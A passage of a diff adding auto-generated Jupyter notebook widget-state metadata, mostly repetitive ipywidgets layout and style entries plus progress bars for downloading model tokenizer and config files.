"1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "147c95feace0447ca58cc4079cb2cbe5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "1494c31d3d114a13a3ebbe85df2316ba": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "14a49cf00e9744dc8f2ac8ec3f19c90c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "14aad595b905426b8d7fc4390bd755d8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_25082abec02c47aab0f6c66225815b6b", + "placeholder": "​", + "style": "IPY_MODEL_721121db2dc54b14aec771d3c6cdd0fd", + "value": "Fetching 13 files: 100%" + } + }, + "14fe6c5fa5274bde8d90be608d3a6814": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "1529067d721f4287b26e576942b5bc97": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_bbbca2e29d6444f7ba4e592068124650", + "max": 524619, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_42f14a72c44047b695a6b2bfc5184370", + "value": 524619 + } + }, + "16063a5dd86649f2b7f37184c7ac0593": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_fb156e0150e24ec9a367a1e26c4750ec", + "IPY_MODEL_925594a07eba4bdc92e59ef1df5ea63e", + "IPY_MODEL_d5228dfbe50b4d078996b74d1b71ba28" + ], + "layout": "IPY_MODEL_6daa2b5b26e4459aa5bdebd0062cf021" + } + }, + "1707f4e4e7a64dbb8a38f7042836bfb2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_dca153f028a14e3e959c9fe29816223f", + "placeholder": "​", + "style": "IPY_MODEL_b0367ea7d4b549bc85b64029a6da3ad7", + "value": "Downloading (…)okenizer_config.json: 100%" + } + }, + "1763740db60f490493e2fe10d35cc58e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_e221a677aab740ea888cb7faf343dfbb", + "placeholder": "​", + "style": "IPY_MODEL_12694ca9da6c43eaa5640a47cea2d10b", + "value": " 525k/525k [00:00<00:00, 2.61MB/s]" + } + }, + "1766005fceb14bd5a1910622789cc5ad": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "1855195ecd9a4ba993c2a4e298d21a44": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "18885db0114b49ee8eeb0af098b9a8c9": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "188e9e93c80d4cc699990feb5b52eaee": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_2fb28ad0fe464c7a8b1f3c9354140e51", + "IPY_MODEL_4b63548f0285403e9e4f2431632cc3ae", + "IPY_MODEL_6fea93ee309c49be85992b1a18756101" + ], + "layout": "IPY_MODEL_d220c9f6c0684da98525ddfb0ccdf8f5" + } + }, + "1895d19dcd574f56b7148ca7235fd0b4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "19469649ab6b44f8b1d6408ac2646579": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "1974a1b14cd74807b872ad12380d0fe3": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "1b448e7eb7c842c2ad3598e401c5a101": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_b25958353ffe4063bf8d09ed149c2550", + "IPY_MODEL_e25496021c9f4046bb83f585601baaf4", + "IPY_MODEL_69484df819aa44b3858b76432cc84beb" + ], + "layout": "IPY_MODEL_f6ecc0d4fe1545d8bd0a16de5960285b" + } + }, + "1b8ccf560cce482caf4d08a3ed02f0fe": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "1bbd2bbca0c04df982278b7c24c8c320": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "1cbc65f4245e4c25a64827f0e2beb08d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "1d10557816514c4bb08d957fdde13904": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_9dc480c24e9844599de9f1e5e3638f33", + "max": 30, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_dffb565d8879412ba6c9989b02cbe661", + "value": 30 + } + }, + "1d631802aab44912a6097e97d2675102": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "1da8ad0bdb2547cdb4edc5bc5df7a8ea": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "1fcc4a24bf9b4ec6aec98800a872966f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "1fe983e43b7f4bca905a65b07eef5491": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_e92d28da4f314f73b4c4cccde114f1f4", + "max": 10, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_f7728f9c5b0f4f4ca084119f74e9dcaf", + "value": 10 + } + }, + "20d097bf20d541bda6c8b77a0d021c9a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "21e6f865412f4787b04b69da0cafa300": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "224de1d94c8047c49546f4d3a49b86a6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_f0aebefd751e48939aae8e3eac7adfde", + "IPY_MODEL_d7335eeea61f49a291bbc9f120c823e7", + "IPY_MODEL_7dafba4f66a245659587c06edbffcf51" + ], + "layout": "IPY_MODEL_6f5b06b458d7482ba9685013cad5bfa7" + } + }, + "247e38c4011445f1adb3a832ddb53e2e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "25082abec02c47aab0f6c66225815b6b": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "25c92f3c188e4009ba806c6d56cc66c4": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "27544c3774b54c018270a66ebbd06edb": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "282151a48c29477cb45f8d46beb22f5e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "2a8a4ed0b2854b558efd5acce8dcf5c2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_ee1a66e0f3ab4c67beef305317124a0f", + "placeholder": "​", + "style": "IPY_MODEL_b390338978084bd19f7e7e6ce8ea7e44", + "value": " 10/10 [00:02<00:00, 3.91it/s]" + } + }, + "2b7aaec231e244b1899f99e893b053df": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_4afa3f9ee15546c1979113f0e618efcf", + "placeholder": "​", + "style": "IPY_MODEL_fa37cd2e2ac94455ab624a75eb0a105d", + "value": " 50/50 [00:13<00:00, 3.70it/s]" + } + }, + "2c0421659acb482295485521efb6bb03": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_1766005fceb14bd5a1910622789cc5ad", + "placeholder": "​", + "style": "IPY_MODEL_b3ca161774d7404d903afbed855f054f", + "value": " 10/10 [00:02<00:00, 3.78it/s]" + } + }, + "2c4ab41623ca4ce3961c8a105536ecdf": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "2dc8bda3ec0046b09c6422b5248f1312": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "2ddf4013353e48b9a62c70e2eb68502e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "2fb28ad0fe464c7a8b1f3c9354140e51": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_4e3eebfc758c467fbf44e81c0de7068d", + "placeholder": "​", + "style": "IPY_MODEL_f0c88afdf3ac4ca3b63be6f561bbf5f0", + "value": "Downloading (…)_encoder/config.json: 100%" + } + }, + 